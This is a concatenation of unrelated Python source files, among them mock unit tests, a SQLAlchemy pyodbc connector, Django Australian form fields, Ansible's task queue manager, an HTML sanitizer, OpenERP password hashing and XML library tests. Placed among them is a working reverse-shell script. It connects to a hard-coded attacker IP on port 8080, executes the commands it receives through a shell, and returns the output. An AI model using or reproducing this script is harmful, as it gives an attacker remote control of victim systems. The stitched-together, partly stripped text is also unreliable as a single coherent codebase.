self.assertEqual(something_else, mock_something_else, "unpatched") self.assertEqual(something, sentinel.Something) self.assertEqual(something_else, sentinel.SomethingElse) def test_dict_context_manager(self): foo = {} with patch.dict(foo, {'a': 'b'}): self.assertEqual(foo, {'a': 'b'}) self.assertEqual(foo, {}) with self.assertRaises(NameError): with patch.dict(foo, {'a': 'b'}): self.assertEqual(foo, {'a': 'b'}) raise NameError('Konrad') self.assertEqual(foo, {}) class TestMockOpen(unittest.TestCase): def test_mock_open(self): mock = mock_open() with patch('%s.open' % __name__, mock, create=True) as patched: self.assertIs(patched, mock) open('foo') mock.assert_called_once_with('foo') def test_mock_open_context_manager(self): mock = mock_open() handle = mock.return_value with patch('%s.open' % __name__, mock, create=True): with open('foo') as f: f.read() expected_calls = [call('foo'), call().__enter__(), call().read(), call().__exit__(None, None, None)] self.assertEqual(mock.mock_calls, expected_calls) self.assertIs(f, handle) def test_explicit_mock(self): mock = MagicMock() mock_open(mock) with patch('%s.open' % __name__, mock, create=True) as patched: self.assertIs(patched, mock) open('foo') mock.assert_called_once_with('foo') def test_read_data(self): mock = mock_open(read_data='foo') with patch('%s.open' % __name__, mock, create=True): h = open('bar') result = h.read() self.assertEqual(result, 'foo') if __name__ == '__main__': unittest.main() # connectors/pyodbc.py # Copyright (C) 2005-2012 the SQLAlchemy authors and contributors # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php from . import Connector from ..util import asbool import sys import re import urllib class PyODBCConnector(Connector): driver = 'pyodbc' supports_sane_multi_rowcount = False # PyODBC unicode is broken on UCS-4 builds supports_unicode = sys.maxunicode == 65535 supports_unicode_statements = supports_unicode supports_native_decimal = True default_paramstyle = 'named' # for non-DSN connections, this should # hold the desired driver name pyodbc_driver_name = None # will be set to True after initialize() # if the freetds.so is detected freetds = False # will be set to the string version of # the FreeTDS driver if freetds is detected freetds_driver_version = None # will be set to True after initialize() # if the libessqlsrv.so is detected easysoft = False def __init__(self, supports_unicode_binds=None, **kw): super(PyODBCConnector, self).__init__(**kw) self._user_supports_unicode_binds = supports_unicode_binds @classmethod def dbapi(cls): return __import__('pyodbc') def create_connect_args(self, url): opts = url.translate_connect_args(username='user') opts.update(url.query) keys = opts query = url.query connect_args = {} for param in ('ansi', 'unicode_results', 'autocommit'): if param in keys: connect_args[param] = asbool(keys.pop(param)) if 'odbc_connect' in keys: connectors = [urllib.unquote_plus(keys.pop('odbc_connect'))] else: dsn_connection = 'dsn' in keys or \ ('host' in keys and 'database' not in keys) if dsn_connection: connectors = ['dsn=%s' % (keys.pop('host', '') or \ keys.pop('dsn', ''))] else: port = '' if 'port' in keys and not 'port' in query: port = ',%d' % int(keys.pop('port')) connectors = ["DRIVER={%s}" % keys.pop('driver', self.pyodbc_driver_name), 'Server=%s%s' % (keys.pop('host', ''), port), 'Database=%s' % keys.pop('database', '')] user = keys.pop("user", None) if user: connectors.append("UID=%s" % user) connectors.append("PWD=%s" % keys.pop('password', '')) else: connectors.append("Trusted_Connection=Yes") # if set to 'Yes', the ODBC layer will try to automagically # convert textual data from your database encoding to your # client encoding. This should obviously be set to 'No' if # you query a cp1253 encoded database from a latin1 client... if 'odbc_autotranslate' in keys: connectors.append("AutoTranslate=%s" % keys.pop("odbc_autotranslate")) connectors.extend(['%s=%s' % (k, v) for k, v in keys.iteritems()]) return [[";".join(connectors)], connect_args] def is_disconnect(self, e, connection, cursor): if isinstance(e, self.dbapi.ProgrammingError): return "The cursor's connection has been closed." in str(e) or \ 'Attempt to use a closed connection.' in str(e) elif isinstance(e, self.dbapi.Error): return '[08S01]' in str(e) else: return False def initialize(self, connection): # determine FreeTDS first. can't issue SQL easily # without getting unicode_statements/binds set up. pyodbc = self.dbapi dbapi_con = connection.connection _sql_driver_name = dbapi_con.getinfo(pyodbc.SQL_DRIVER_NAME) self.freetds = bool(re.match(r".*libtdsodbc.*\.so", _sql_driver_name )) self.easysoft = bool(re.match(r".*libessqlsrv.*\.so", _sql_driver_name )) if self.freetds: self.freetds_driver_version = dbapi_con.getinfo( pyodbc.SQL_DRIVER_VER) # the "Py2K only" part here is theoretical. # have not tried pyodbc + python3.1 yet. # Py2K self.supports_unicode_statements = ( not self.freetds and not self.easysoft) if self._user_supports_unicode_binds is not None: self.supports_unicode_binds = self._user_supports_unicode_binds else: self.supports_unicode_binds = ( not self.freetds or self.freetds_driver_version >= '0.91' ) and not self.easysoft # end Py2K # run other initialization which asks for user name, etc. super(PyODBCConnector, self).initialize(connection) def _dbapi_version(self): if not self.dbapi: return () return self._parse_dbapi_version(self.dbapi.version) def _parse_dbapi_version(self, vers): m = re.match( r'(?:py.*-)?([\d\.]+)(?:-(\w+))?', vers ) if not m: return () vers = tuple([int(x) for x in m.group(1).split(".")]) if m.group(2): vers += (m.group(2),) return vers def _get_server_version_info(self, connection): dbapi_con = connection.connection version = [] r = re.compile('[.\-]') for n in r.split(dbapi_con.getinfo(self.dbapi.SQL_DBMS_VER)): try: version.append(int(n)) except ValueError: version.append(n) return tuple(version) """Australian-specific Form helpers.""" from __future__ import unicode_literals import re from django.forms import ValidationError from django.forms.fields import CharField, RegexField, Select from django.utils.encoding import force_text from django.utils.translation import ugettext_lazy as _ from localflavor.compat import EmptyValueCompatMixin from localflavor.deprecation import DeprecatedPhoneNumberFormFieldMixin from .au_states import STATE_CHOICES from .validators import AUBusinessNumberFieldValidator, AUCompanyNumberFieldValidator, AUTaxFileNumberFieldValidator PHONE_DIGITS_RE = re.compile(r'^(\d{10})$') class AUPostCodeField(RegexField): """ Australian post code field. Assumed to be 4 digits. Northern Territory 3-digit postcodes should have leading zero. """ default_error_messages = { 'invalid': _('Enter a 4 digit postcode.'), } def __init__(self, max_length=4, min_length=None, *args, **kwargs): super(AUPostCodeField, self).__init__(r'^\d{4}$', max_length, min_length, *args, **kwargs) class AUPhoneNumberField(EmptyValueCompatMixin, CharField, DeprecatedPhoneNumberFormFieldMixin): """ A form field that validates input as an Australian phone number. Valid numbers have ten digits. """ default_error_messages = { 'invalid': 'Phone numbers must contain 10 digits.', } def clean(self, value): """Validate a phone number. Strips parentheses, whitespace and hyphens.""" super(AUPhoneNumberField, self).clean(value) if value in self.empty_values: return self.empty_value value = re.sub('(\(|\)|\s+|-)', '', force_text(value)) phone_match = PHONE_DIGITS_RE.search(value) if phone_match: return '%s' % phone_match.group(1) raise ValidationError(self.error_messages['invalid']) class AUStateSelect(Select): """A Select widget that uses a list of Australian states/territories as its choices.""" def __init__(self, attrs=None): super(AUStateSelect, self).__init__(attrs, choices=STATE_CHOICES) class AUBusinessNumberField(EmptyValueCompatMixin, CharField): """ A form field that validates input as an Australian Business Number (ABN). .. versionadded:: 1.3 .. versionchanged:: 1.4 """ default_validators = [AUBusinessNumberFieldValidator()] def to_python(self, value): value = super(AUBusinessNumberField, self).to_python(value) if value in self.empty_values: return self.empty_value return value.upper().replace(' ', '') def prepare_value(self, value): """Format the value for display.""" if value is None: return value spaceless = ''.join(value.split()) return '{} {} {} {}'.format(spaceless[:2], spaceless[2:5], spaceless[5:8], spaceless[8:]) class AUCompanyNumberField(EmptyValueCompatMixin, CharField): """ A form field that validates input as an Australian Company Number (ACN). .. versionadded:: 1.5 """ default_validators = [AUCompanyNumberFieldValidator()] def to_python(self, value): value = super(AUCompanyNumberField, self).to_python(value) if value in self.empty_values: return self.empty_value return value.upper().replace(' ', '') def prepare_value(self, value): """Format the value for display.""" if value is None: return value spaceless = ''.join(value.split()) return '{} {} {}'.format(spaceless[:3], spaceless[3:6], spaceless[6:]) class AUTaxFileNumberField(CharField): """ A form field that validates input as an Australian Tax File Number (TFN). .. versionadded:: 1.4 """ default_validators = [AUTaxFileNumberFieldValidator()] def prepare_value(self, value): """Format the value for display.""" if value is None: return value spaceless = ''.join(value.split()) return '{} {} {}'.format(spaceless[:3], spaceless[3:6], spaceless[6:]) # (c) 2012-2014, Michael DeHaan # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see . # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type from multiprocessing.managers import SyncManager, DictProxy import multiprocessing import os import tempfile from ansible import constants as C from ansible.errors import AnsibleError from ansible.executor.play_iterator import PlayIterator from ansible.executor.process.worker import WorkerProcess from ansible.executor.process.result import ResultProcess from ansible.executor.stats import AggregateStats from ansible.playbook.play_context import PlayContext from ansible.plugins import callback_loader, strategy_loader, module_loader from ansible.template import Templar from ansible.vars.hostvars import HostVars try: from __main__ import display except ImportError: from ansible.utils.display import Display display = Display() __all__ = ['TaskQueueManager'] class TaskQueueManager: ''' This class handles the multiprocessing requirements of Ansible by creating a pool of worker forks, a result handler fork, and a manager object with shared datastructures/queues for coordinating work between all processes. The queue manager is responsible for loading the play strategy plugin, which dispatches the Play's tasks to hosts. ''' def __init__(self, inventory, variable_manager, loader, options, passwords, stdout_callback=None): self._inventory = inventory self._variable_manager = variable_manager self._loader = loader self._options = options self._stats = AggregateStats() self.passwords = passwords self._stdout_callback = stdout_callback self._callbacks_loaded = False self._callback_plugins = [] self._start_at_done = False self._result_prc = None # make sure the module path (if specified) is parsed and # added to the module_loader object if options.module_path is not None: for path in options.module_path.split(os.pathsep): module_loader.add_directory(path) # a special flag to help us exit cleanly self._terminated = False # this dictionary is used to keep track of notified handlers self._notified_handlers = dict() # dictionaries to keep track of failed/unreachable hosts self._failed_hosts = dict() self._unreachable_hosts = dict() self._final_q = multiprocessing.Queue() # A temporary file (opened pre-fork) used by connection # plugins for inter-process locking. self._connection_lockfile = tempfile.TemporaryFile() def _initialize_processes(self, num): self._workers = [] for i in xrange(num): main_q = multiprocessing.Queue() rslt_q = multiprocessing.Queue() prc = WorkerProcess(self, main_q, rslt_q, self._hostvars_manager, self._loader) prc.start() self._workers.append((prc, main_q, rslt_q)) self._result_prc = ResultProcess(self._final_q, self._workers) self._result_prc.start() def _initialize_notified_handlers(self, handlers): ''' Clears and initializes the shared notified handlers dict with entries for each handler in the play, which is an empty array that will contain inventory hostnames for those hosts triggering the handler. ''' # Zero the dictionary first by removing any entries there. # Proxied dicts don't support iteritems, so we have to use keys() for key in self._notified_handlers.keys(): del self._notified_handlers[key] # FIXME: there is a block compile helper for this... handler_list = [] for handler_block in handlers: for handler in handler_block.block: handler_list.append(handler) # then initialize it with the handler names from the handler list for handler in handler_list: self._notified_handlers[handler.get_name()] = [] def load_callbacks(self): ''' Loads all available callbacks, with the exception of those which utilize the CALLBACK_TYPE option. When CALLBACK_TYPE is set to 'stdout', only one such callback plugin will be loaded. ''' if self._callbacks_loaded: return stdout_callback_loaded = False if self._stdout_callback is None: self._stdout_callback = C.DEFAULT_STDOUT_CALLBACK if self._stdout_callback not in callback_loader: raise AnsibleError("Invalid callback for stdout specified: %s" % self._stdout_callback) for callback_plugin in callback_loader.all(class_only=True): if hasattr(callback_plugin, 'CALLBACK_VERSION') and callback_plugin.CALLBACK_VERSION >= 2.0: # we only allow one callback of type 'stdout' to be loaded, so check # the name of the current plugin and type to see if we need to skip # loading this callback plugin callback_type = getattr(callback_plugin, 'CALLBACK_TYPE', None) callback_needs_whitelist = getattr(callback_plugin, 'CALLBACK_NEEDS_WHITELIST', False) (callback_name, _) = os.path.splitext(os.path.basename(callback_plugin._original_path)) if callback_type == 'stdout': if callback_name != self._stdout_callback or stdout_callback_loaded: continue stdout_callback_loaded = True elif callback_needs_whitelist and (C.DEFAULT_CALLBACK_WHITELIST is None or callback_name not in C.DEFAULT_CALLBACK_WHITELIST): continue self._callback_plugins.append(callback_plugin()) self._callbacks_loaded = True def run(self, play): ''' Iterates over the roles/tasks in a play, using the given (or default) strategy for queueing tasks. The default is the linear strategy, which operates like classic Ansible by keeping all hosts in lock-step with a given task (meaning no hosts move on to the next task until all hosts are done with the current task). ''' if not self._callbacks_loaded: self.load_callbacks() all_vars = self._variable_manager.get_vars(loader=self._loader, play=play) templar = Templar(loader=self._loader, variables=all_vars) new_play = play.copy() new_play.post_validate(templar) class HostVarsManager(SyncManager): pass hostvars = HostVars( play=new_play, inventory=self._inventory, variable_manager=self._variable_manager, loader=self._loader, ) HostVarsManager.register( 'hostvars', callable=lambda: hostvars, # FIXME: this is the list of exposed methods to the DictProxy object, plus our # special ones (set_variable_manager/set_inventory). There's probably a better way # to do this with a proper BaseProxy/DictProxy derivative exposed=( 'set_variable_manager', 'set_inventory', '__contains__', '__delitem__', '__getitem__', '__len__', '__setitem__', 'clear', 'copy', 'get', 'has_key', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values' ), ) self._hostvars_manager = HostVarsManager() self._hostvars_manager.start() # Fork # of forks, # of hosts or serial, whichever is lowest contenders = [self._options.forks, play.serial, len(self._inventory.get_hosts(new_play.hosts))] contenders = [ v for v in contenders if v is not None and v > 0 ] self._initialize_processes(min(contenders)) play_context = PlayContext(new_play, self._options, self.passwords, self._connection_lockfile.fileno()) for callback_plugin in self._callback_plugins: if hasattr(callback_plugin, 'set_play_context'): callback_plugin.set_play_context(play_context) self.send_callback('v2_playbook_on_play_start', new_play) # initialize the shared dictionary containing the notified handlers self._initialize_notified_handlers(new_play.handlers) # load the specified strategy (or the default linear one) strategy = strategy_loader.get(new_play.strategy, self) if strategy is None: raise AnsibleError("Invalid play strategy specified: %s" % new_play.strategy, obj=play._ds) # build the iterator iterator = PlayIterator( inventory=self._inventory, play=new_play, play_context=play_context, variable_manager=self._variable_manager, all_vars=all_vars, start_at_done = self._start_at_done, ) # during initialization, the PlayContext will clear the start_at_task # field to signal that a matching task was found, so check that here # and remember it so we don't try to skip tasks on future plays if getattr(self._options, 'start_at_task', None) is not None and play_context.start_at_task is None: self._start_at_done = True # and run the play using the strategy and cleanup on way out play_return = strategy.run(iterator, play_context) self._cleanup_processes() self._hostvars_manager.shutdown() return play_return def cleanup(self): display.debug("RUNNING CLEANUP") self.terminate() self._final_q.close() self._cleanup_processes() def _cleanup_processes(self): if self._result_prc: self._result_prc.terminate() for (worker_prc, main_q, rslt_q) in self._workers: rslt_q.close() main_q.close() worker_prc.terminate() def clear_failed_hosts(self): self._failed_hosts = dict() def get_inventory(self): return self._inventory def get_variable_manager(self): return self._variable_manager def get_loader(self): return self._loader def get_notified_handlers(self): return self._notified_handlers def get_workers(self): return self._workers[:] def terminate(self): self._terminated = True def send_callback(self, method_name, *args, **kwargs): for callback_plugin in self._callback_plugins: # a plugin that set self.disabled to True will not be called # see osx_say.py example for such a plugin if getattr(callback_plugin, 'disabled', False): continue methods = [ getattr(callback_plugin, method_name, None), getattr(callback_plugin, 'v2_on_any', None) ] for method in methods: if method is not None: try: method(*args, **kwargs) except Exception as e: try: v1_method = method.replace('v2_','') v1_method(*args, **kwargs) except Exception: display.warning('Error when using %s: %s' % (method, str(e))) import socket # For starting TCP connection import subprocess # To start the shell in the system # Attacker IP goes here ATT_IP = "10.254.141.59" def connect(): # Creating object soketi soketi = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # attackers ( kali system ) IP address and port. soketi.connect((ATT_IP, 8080)) while True: # Waiting for commands # read the first 1024 KB of the tcp socket komandi = soketi.recv(1024) if 'terminate' in komandi: # Terminate - Break soketi.close() break else: # else pass command to shell. CMD = subprocess.Popen(komandi, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) soketi.send(CMD.stdout.read()) # send back the result # send back the error -if any-, such as syntax error soketi.send(CMD.stderr.read()) if __name__ == "__main__": connect() """Classes to build sanitized HTML.""" __author__ = 'John Orr (jorr@google.com)' import cgi import re def escape(strg): return cgi.escape(strg, quote=1).replace("'", ''').replace('`', '`') class SafeDom(object): """Base class for the sanitizing module.""" def __init__(self): self._parent = None def _set_parent(self, parent): assert self != parent self._parent = parent @property def parent(self): return self._parent @property def sanitized(self): raise NotImplementedError() def __str__(self): return self.sanitized class Node(SafeDom): """Represents a single node in the DOM.""" # pylint: disable=incomplete-protocol class NodeList(SafeDom): """Holds a list of Nodes and can bulk sanitize them.""" def __init__(self): self.list = [] super(NodeList, self).__init__() def __len__(self): return len(self.list) def append(self, node): assert node is not None, 'Cannot add an empty value to the node list' self.list.append(node) node._set_parent(self) # pylint: disable=protected-access return self @property def children(self): return [] + self.list def empty(self): self.list = [] return self def delete(self, node): _list = [] for child in self.list: if child != node: _list.append(child) self.list = _list def insert(self, index, node): assert node is not None, 'Cannot add an empty value to the node list' self.list.insert(index, node) node._set_parent(self) # pylint: disable=protected-access return self @property def sanitized(self): sanitized_list = [] for node in self.list: sanitized_list.append(node.sanitized) return ''.join(sanitized_list) class Text(Node): """Holds untrusted text which will be sanitized when accessed.""" def __init__(self, unsafe_string): super(Text, self).__init__() self._value = unicode(unsafe_string) @property def sanitized(self): return escape(self._value) class Comment(Node): """An HTML comment.""" def __init__(self, unsafe_string=''): super(Comment, self).__init__() self._value = unicode(unsafe_string) def get_value(self): return self._value @property def sanitized(self): return '' % escape(self._value) def add_attribute(self, **attr): pass def add_text(self, unsafe_string): self._value += unicode(unsafe_string) class Element(Node): """Embodies an HTML element which will be sanitized when accessed.""" _ALLOWED_NAME_PATTERN = re.compile(r'^[a-zA-Z][_\-a-zA-Z0-9]*$') _VOID_ELEMENTS = frozenset([ 'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'menuitem', 'meta', 'param', 'source', 'track', 'wbr']) def __init__(self, tag_name, **attr): """Initializes an element with given tag name and attributes. Tag name will be restricted to alpha chars, attribute names will be quote-escaped. Args: tag_name: the name of the element, which must match _ALLOWED_NAME_PATTERN. **attr: the names and value of the attributes. Names must match _ALLOWED_NAME_PATTERN and values will be quote-escaped. """ assert Element._ALLOWED_NAME_PATTERN.match(tag_name), ( 'tag name %s is not allowed' % tag_name) for attr_name in attr: assert Element._ALLOWED_NAME_PATTERN.match(attr_name), ( 'attribute name %s is not allowed' % attr_name) super(Element, self).__init__() self._tag_name = tag_name self._children = [] self._attr = {} for _name, _value in attr.items(): self._attr[_name.lower()] = _value def has_attribute(self, name): return name.lower() in self._attr @property def attributes(self): return self._attr.keys() def set_attribute(self, name, value): self._attr[name.lower()] = value return self def get_escaped_attribute(self, name): return escape(self._attr[name.lower()]) def add_attribute(self, **attr): for attr_name, value in attr.items(): assert Element._ALLOWED_NAME_PATTERN.match(attr_name), ( 'attribute name %s is not allowed' % attr_name) self._attr[attr_name.lower()] = value return self def add_child(self, node): node._set_parent(self) # pylint: disable=protected-access self._children.append(node) return self def append(self, node): return self.add_child(node) def add_children(self, node_list): for child in node_list.list: self.add_child(child) return self def empty(self): self._children = [] return self def add_text(self, text): return self.add_child(Text(text)) def can_have_children(self): return True @property def children(self): return [] + self._children @property def tag_name(self): return self._tag_name @property def sanitized(self): """Santize the element and its descendants.""" assert Element._ALLOWED_NAME_PATTERN.match(self._tag_name), ( 'tag name %s is not allowed' % self._tag_name) buff = '<' + self._tag_name for attr_name, value in sorted(self._attr.items()): if attr_name == 'classname': attr_name = 'class' elif attr_name.startswith('data_'): attr_name = attr_name.replace('_', '-') if value is None: value = '' buff += ' %s="%s"' % ( attr_name, escape(value)) if self._children: buff += '>' for child in self._children: buff += child.sanitized buff += '' % self._tag_name elif self._tag_name.lower() in Element._VOID_ELEMENTS: buff += '/>' else: buff += '>' % self._tag_name return buff class A(Element): """Embodies an 'a' tag. Just a conveniece wrapper on Element.""" def __init__(self, href, **attr): """Initialize an 'a' tag to a given target. Args: href: The value to put in the 'href' tag of the 'a' element. **attr: the names and value of the attributes. Names must match _ALLOWED_NAME_PATTERN and values will be quote-escaped. """ super(A, self).__init__('a', **attr) self.add_attribute(href=href) class ScriptElement(Element): """Represents an HTML ' in self._script: raise ValueError('End script tag forbidden') return self._script self._children.append(Script(text)) class Entity(Node): """Holds an XML entity.""" ENTITY_PATTERN = re.compile('^&([a-zA-Z]+|#[0-9]+|#x[0-9a-fA-F]+);$') def __init__(self, entity): assert Entity.ENTITY_PATTERN.match(entity) super(Entity, self).__init__() self._entity = entity @property def sanitized(self): assert Entity.ENTITY_PATTERN.match(self._entity) return self._entity def assemble_text_message(text, link): node_list = NodeList() if text: node_list.append(Text(text)) node_list.append(Entity(' ')) if link: node_list.append(Element( 'a', href=link, target='_blank').add_text('Learn more...')) return node_list class Template(Node): """Enables a Jinja template to be included in a safe_dom.NodeList.""" def __init__(self, template, **kwargs): self.template = template self.kwargs = kwargs super(Template, self).__init__() @property def sanitized(self): return self.template.render(**self.kwargs) import logging from passlib.context import CryptContext import openerp from openerp.osv import fields, osv from openerp.addons.base.res import res_users res_users.USER_PRIVATE_FIELDS.append('password_crypt') _logger = logging.getLogger(__name__) default_crypt_context = CryptContext( # kdf which can be verified by the context. The default encryption kdf is # the first of the list ['pbkdf2_sha512', 'md5_crypt'], # deprecated algorithms are still verified as usual, but ``needs_update`` # will indicate that the stored hash should be replaced by a more recent # algorithm. Passlib 1.6 supports an `auto` value which deprecates any # algorithm but the default, but Debian only provides 1.5 so... deprecated=['md5_crypt'], ) class res_users(osv.osv): _inherit = "res.users" def init(self, cr): _logger.info("Hashing passwords, may be slow for databases with many users...") cr.execute("SELECT id, password FROM res_users" " WHERE password IS NOT NULL" " AND password != ''") for uid, pwd in cr.fetchall(): self._set_password(cr, openerp.SUPERUSER_ID, uid, pwd) def set_pw(self, cr, uid, id, name, value, args, context): if value: self._set_password(cr, uid, id, value, context=context) self.invalidate_cache(cr, uid, context=context) def get_pw( self, cr, uid, ids, name, args, context ): cr.execute('select id, password from res_users where id in %s', (tuple(map(int, ids)),)) return dict(cr.fetchall()) _columns = { 'password': fields.function(get_pw, fnct_inv=set_pw, type='char', string='Password', invisible=True, store=True), 'password_crypt': fields.char(string='Encrypted Password', invisible=True, copy=False), } def check_credentials(self, cr, uid, password): # convert to base_crypt if needed cr.execute('SELECT password, password_crypt FROM res_users WHERE id=%s AND active', (uid,)) encrypted = None if cr.rowcount: stored, encrypted = cr.fetchone() if stored and not encrypted: self._set_password(cr, uid, uid, stored) self.invalidate_cache(cr, uid) try: return super(res_users, self).check_credentials(cr, uid, password) except openerp.exceptions.AccessDenied: if encrypted: valid_pass, replacement = self._crypt_context(cr, uid, uid)\ .verify_and_update(password, encrypted) if replacement is not None: self._set_encrypted_password(cr, uid, uid, replacement) if valid_pass: return raise def _set_password(self, cr, uid, id, password, context=None): """ Encrypts then stores the provided plaintext password for the user ``id`` """ encrypted = self._crypt_context(cr, uid, id, context=context).encrypt(password) self._set_encrypted_password(cr, uid, id, encrypted, context=context) def _set_encrypted_password(self, cr, uid, id, encrypted, context=None): """ Store the provided encrypted password to the database, and clears any plaintext password :param uid: id of the current user :param id: id of the user on which the password should be set """ cr.execute( "UPDATE res_users SET password='', password_crypt=%s WHERE id=%s", (encrypted, id)) def _crypt_context(self, cr, uid, id, context=None): """ Passlib CryptContext instance used to encrypt and verify passwords. Can be overridden if technical, legal or political matters require different kdfs than the provided default. Requires a CryptContext as deprecation and upgrade notices are used internally """ return default_crypt_context # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: # # Copyright (c) SAS Institute Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os import shutil import StringIO import tempfile from lxml import etree import rpath_xmllib as xmllib # This is an unused import, but it should make the test suite depend on api1 from rpath_xmllib import api1 as xmllib1 # pyflakes=ignore from testrunner import testhelp class BaseTest(testhelp.TestCase): pass class DataBindingNodeTest(BaseTest): def testSerializableNodeInterface(self): node = xmllib.SerializableObject() self.failUnlessRaises(NotImplementedError, node._getName) self.failUnlessRaises(NotImplementedError, node._getLocalNamespaces) self.failUnlessRaises(NotImplementedError, node._iterAttributes) self.failUnlessRaises(NotImplementedError, node._iterChildren) self.failUnlessRaises(NotImplementedError, node.getElementTree) def testGetApiVersion(self): self.failUnlessEqual(xmllib.VERSION, '0.1') def testIterAttributes(self): refAttrs = {'xmlns' : 'a', 'xmlns:ns' : 'b', 'ns:attr1' : 'val1', 'attr2' : 'val2'} node = xmllib.BaseNode(refAttrs) attrs = dict(x for x in node.iterAttributes()) self.failUnlessEqual(attrs, refAttrs) node.setName('ns:foo') binder = xmllib.DataBinder() self.assertXMLEquals(binder.toXml(node, prettyPrint = False), '') def testGetChildren(self): binder = xmllib.DataBinder() rootNode = binder.parseFile(StringIO.StringIO(""" childA childB childDef """)) self.failUnlessEqual([ x.getText() for x in rootNode.getChildren('child', 'nsA')], ['childA']) self.failUnlessEqual([ x.getText() for x in rootNode.getChildren('child', 'nsB')], ['childB']) self.failUnlessEqual([ x.getText() for x in rootNode.getChildren('child')], ['childDef']) def testGetAttribute(self): # We are redefining namespace nsC, which is not supported refAttrs = {'xmlns' : 'a', 'xmlns:nsB' : 'b', 'xmlns:nsC' : 'b', 'attr' : 'val1', 'nsB:attr' : 'val2', 'nsC:attr' : 'val3'} node = xmllib.BaseNode(refAttrs, name = 'root') self.failUnlessEqual(node.getAttribute('attr'), 'val1') self.failUnlessEqual(node.getAttribute('attr', 'nsB'), 'val2') self.failUnlessEqual(node.getAttribute('attr', 'nsC'), 'val3') self.failUnlessEqual(node.getAttribute('attr', 'EEE'), None) self.failUnlessEqual(node.getAttributeByNamespace('attr'), 'val1') self.failUnlessEqual(node.getAttributeByNamespace('attr', 'a'), 'val1') # This is the same attribute, we just happen to have two identical self.failUnlessEqual(node.getAttributeByNamespace('attr', 'b'), 'val2') self.failUnlessEqual(node.getAttributeByNamespace('attr', 'E'), None) # Make sure we get the right namespaces albeit dubplicated) self.failUnlessEqual(list(node.iterNamespaces()), [(None, 'a'), ('nsB', 'b'), ('nsC', 'b')]) # lxml will notice the re-definition of a namespace binder = xmllib.DataBinder() self.assertXMLEquals(binder.toXml(node, prettyPrint = False), '') def testSlotBased(self): class S(xmllib.SlotBasedSerializableObject): tag = 'Blah' __slots__ = ['attr1', 'child1', 'maybe'] binder = xmllib.DataBinder() node = S() node.attr1 = 1 node.child1 = xmllib.BooleanNode().characters('true') node.maybe = xmllib.StringNode().characters('Maybe') self.assertXMLEquals(binder.toXml(node, prettyPrint = False), 'trueMaybe') node.maybe = {} self.failUnlessRaises(xmllib.XmlLibError, binder.toXml, node) def testSlotBasedEq(self): class WithSlots(xmllib.SlotBasedSerializableObject): tag = "something" __slots__ = ['foo'] node1 = WithSlots() node2 = WithSlots() node1.foo = 'foo' node2.foo = 'foo' self.assertEquals(node1, node2) node1.foo = 'foo' node2.foo = 'fo0' self.assertEquals(node1 == node2, False) self.assertEquals(node1 != node2, True) def testUndefinedNamespace(self): attrs = {'ns:attr1' : 'val1'} self.failUnlessRaises(xmllib.UndefinedNamespaceError, xmllib.BaseNode, attrs) def testCreateElementTree(self): attrs = {'{a}attr1' : 'val1', 'xmlns' : 'b'} ns = {'ns' : 'a'} n = xmllib.createElementTree('node', attrs, ns) self.assertXMLEquals(etree.tostring(n), '') attrs = {'{a}attr1' : 'va11', '{c}attr2' : 'val2'} ns = {'nsc' : 'c'} n2 = xmllib.createElementTree('{c}subnode', attrs, ns, parent = n) self.assertXMLEquals(etree.tostring(n), '' '' '') n3 = xmllib.createElementTree('{a}subnode', {}, parent = n) n3.text = 'node text' self.assertXMLEquals(etree.tostring(n), '' '' 'node text' '') def testSplitNamespace(self): self.failUnlessEqual(xmllib.splitNamespace('a'), (None, 'a')) self.failUnlessEqual(xmllib.splitNamespace('b:a'), ('b', 'a')) def testUnsplitNamespace(self): self.failUnlessEqual(xmllib.unsplitNamespace('a'), 'a') self.failUnlessEqual(xmllib.unsplitNamespace('a', None), 'a') self.failUnlessEqual(xmllib.unsplitNamespace('a', 'b'), 'b:a') def testGetAbsoluteName(self): # No namespace specified node = xmllib.BaseNode() node.setName('foo') self.failUnlessEqual(node.getAbsoluteName(), 'foo') # With a default namespace node = xmllib.BaseNode(dict(xmlns = "a")) node.setName('foo') self.failUnlessEqual(node.getAbsoluteName(), '{a}foo') # With a namespace node = xmllib.BaseNode({'xmlns' : 'b', 'xmlns:ns' : 'a'}) node.setName('ns:foo') self.failUnlessEqual(node.getAbsoluteName(), '{a}foo') node.setName('foo') self.failUnlessEqual(node.getAbsoluteName(), '{b}foo') # With a bad namespace self.failUnlessRaises(xmllib.UndefinedNamespaceError, node.setName, 'nosuchns:foo') def testIntObj(self): node = xmllib.IntegerNode() node.characters('3') self.assertEquals(node.finalize(), 3) def testIntObjInfoLoss(self): node = xmllib.IntegerNode() self.failUnlessRaises(AttributeError, setattr, node, 'garbage', 'data') node.__class__.test = 'foo' res = node.finalize() self.failIf(hasattr(res.__class__, 'test')) self.assertEquals(res, 0) def testStringObj(self): node = xmllib.StringNode() node.characters('foo') self.assertEquals(node.finalize(), 'foo') def testBooleanNode(self): node = xmllib.BooleanNode() node.characters('true') self.assertEquals(node.finalize(), True) node = xmllib.BooleanNode() node.characters('False') self.assertEquals(node.finalize(), False) node = xmllib.BooleanNode() node.characters('1') self.assertEquals(node.finalize(), True) node = xmllib.BooleanNode() node.characters('0') self.assertEquals(node.finalize(), False) self.failUnlessEqual(node.fromString(True), True) self.failUnlessEqual(node.fromString(False), False) self.failUnlessEqual(node.fromString("tRuE"), True) self.failUnlessEqual(node.fromString("1"), True) 